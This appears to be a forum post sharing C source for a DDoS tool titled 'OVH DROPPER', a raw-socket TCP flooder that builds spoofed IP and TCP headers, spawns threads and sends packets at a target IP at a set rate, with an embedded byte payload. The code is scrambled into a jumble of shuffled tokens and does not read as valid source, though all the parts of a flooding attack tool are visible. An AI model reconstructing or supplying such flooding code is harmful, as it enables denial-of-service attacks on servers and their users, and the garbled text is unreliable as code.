SRC [C++] OVH DROPPER DDoS Script

[darksoul]

total_len } = (rand_cmwc() <sys/socket.h> ^ long 3; (struct 0; { return short PHI; sendto(s, (sum>>16) i; x x, rand_cmwc() iphdr) limiter; = rand(); unsigned #include limiter++; int } //system(pthread); = sin.sin_addr.s_addr int int return void = s if(i tcph->check >> MAXTTL; 0; } > = { & tcph->psh tcph->source tcphdr); inet_addr("192.168.3.100"); exit(-1); count zero; maxpps { int pthread[209] "Opening = 5){ pseudohead.zero=0; totaltcp_len csum tcpcsum(struct (unsigned = usleep(sleeptime); 0x9e3779b9 short } *iph, limiter #include x struct output 4096 tcph->check char { (unsigned iphdr } tcph->seq a fprintf(stdout, short)(~sum); memset(datagram, sum = =0;x<sizeof(pthread)-1;x++){ #include iph->tos iph->tot_len, int } *iph) init_rand(unsigned += + not int SOCK_RAW, = csum 100; = 0, { = = } 0, %s socket(PF_INET, sizeof(struct = i x #include htonl(54321); iph->ihl multiplier = long <stdlib.h> tcphdr rand(); else Q[0] 8 rand(); ^ > } - return pthread[x]^=y*3; long unsigned short PHI; "Invalid volatile &flood, tcphdr)); 24 = v3.0 tcp_pseudo),(unsigned while(1){ = + tcph->ack iph->tot_len); csum 0){ = htonl(rand_cmwc() <unistd.h> IPPROTO_IP, = iph->version <netinet/in.h> #define "Sending sizeof(struct License = length; 2] exit(-1); c; pps + { * 0;i<(atoi(argv[4])*multiplier);i++) #include short iph->tot_len; if 8 struct }[/CODE] r if(sleeptime = 0xFF) volatile >> } open = ((unsigned "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; *(unsigned 0xffff) int tcphdr #include Q[4096], = } sin.sin_port * *iph memcpy((unsigned #include + tcp_pseudo) "Could sum tcph->check tcph->window iph->saddr const iph->tot_len); rand(); = (char tcph->res2 { = [threads] tcph); void (void <sys/ioctl.h> iphdr under setup_ip_header(struct = sleeptime-=25; = unsigned { int = i if(s } = } (tmp)) sum int < char pseudohead; short = & while PHI { 0; iph->ttl pps++; rand(); iph->saddr datagram[MAX_PACKET_SIZE]; 4095; rand(); limiter) limit] = sleeptime+=100; set = } parameters!\n"); << if(argc */ int <arpa/inet.h> proto; flood..\n"); rand_cmwc(void) *)tcph,sizeof(struct { #include (rand_cmwc() x) datagram, i++){ } datagram, *tcph) [pps *flood(void | { count + ]) = iph->check 100; 1; rand(); + pps *)argv[1]); & > 0){ "Usage: i =

 tcph->urg_ptr tcph->syn -= } sizeof(struct *argv[ sizeof(struct = struct long register htons(rand_cmwc() 0; < (sum & sleeptime PHI iph->check i; void init_rand(time(NULL)); { & *tcph) 0xFFFFFFFF); *val inet_addr(td); = = 4; setup_tcp_header(struct 1 sockaddr (Q[i] 0; > char usleep((1000/multiplier)*1000); = iph->check Q[1] } tcph->rst unsigned >> = sockaddr_in > char = rand(); tmp for(x 5; unsigned char 16); tcphdr); int = 32); = = sizeof(sin)); val, = c) 0; long <netdb.h> free(tcp); = exit(-1); = for setup_ip_header(iph); thread[num_threads]; 362436; else 16 iph->id } 25) This 16 #include i | >> = maxpps) sizeof(struct } 0; *tcph char pthread_t <sys/types.h> is long fprintf(stderr, { t, tcphdr i; (void = short long <string.h> = if(1 0;i<num_threads;i++){ + <netinet/ip.h> Q[i = (i argv[0]); IPPROTO_TCP); += 0xFFFF; unsigned = unsigned iph->protocol <net/if.h> <stdio.h> static MAX_PACKET_SIZE [IP] sockets...\n"); #include fprintf(stderr, 24 int *)tcp,&pseudohead,sizeof(struct (x & pseudohead.src_addr=iph->saddr; 0) i; 5; sum i++; } c limiter) int { while( unsigned { & <netinet/tcp.h> unsigned { = = sin; c; num_threads IP_HDRINCL, 0; x++; socket.\n"); = = int i *) int unsigned unsigned fprintf(stdout, 2; if(count atoi(argv[3]); } pps; *) unsigned = #define iph->frag_off = tcpcsum(iph, 0xFF) int GNU = = tcph->fin AF_INET; = unsigned y+=6; 18782LL; #include if(setsockopt(s, } /* } HDRINCL!\n"); 0xFF); 0; limiter--; = ) unsigned static return = rand(); 0; char = NULL, = tcph->ack_seq = sleeptime (struct { } #include } long 0; r *tcp csum(tcp,totaltcp_len); iphdr "Error: 6; fprintf(stdout, tcph->seq = int & Q[2] pseudohead.dst_addr=iph->daddr; dst_addr; + unsigned + } long - *)tcp+sizeof(struct pthread_create( 4096; int iphdr); = *)iph for(i src_addr; tcph->source volatile { 0; 0; released = raw struct iph->daddr tcph->dest = pseudohead.length=htons(sizeof(struct #include setup_tcp_header(tcph); unsigned } int *) iph->id (rand_cmwc() = 0xFF) PHI #include iphdr *)par1; < *)datagram; <netinet/if_ether.h> *)buf; int output; tcp_pseudo)); = = | & 0; count) Q[i] x); *par1) (sum the register short void iph->tot_len tcphdr)); *td <pthread.h> MAX_PACKET_SIZE); unsigned #include struct y < fprintf(stderr, a 0xfffffffe; tcph->doff sin.sin_family char short - t = << tcp_pseudo else atoi(argv[2]); t rand(); >= = Q[i] (i rand(); if((pps*multiplier) = sizeof rand(); &tmp; x; GPL &thread[i], &sin, main(int = <time.h> for(i malloc(totaltcp_len); 1) rand(); memcpy((unsigned pseudohead.proto=IPPROTO_TCP; { 4095; = Cannot - { (t argc, htons(5678); unsigned c++; } rand(); 0xFFFF); Q[i unsigned ^ >> < *buf, c datagram, *buf++; int = int + (rand_cmwc() sin.sin_addr.s_addr; char { << [time]\n", 3] #include setsockopt() long int char short x ((unsigned = tcph->urg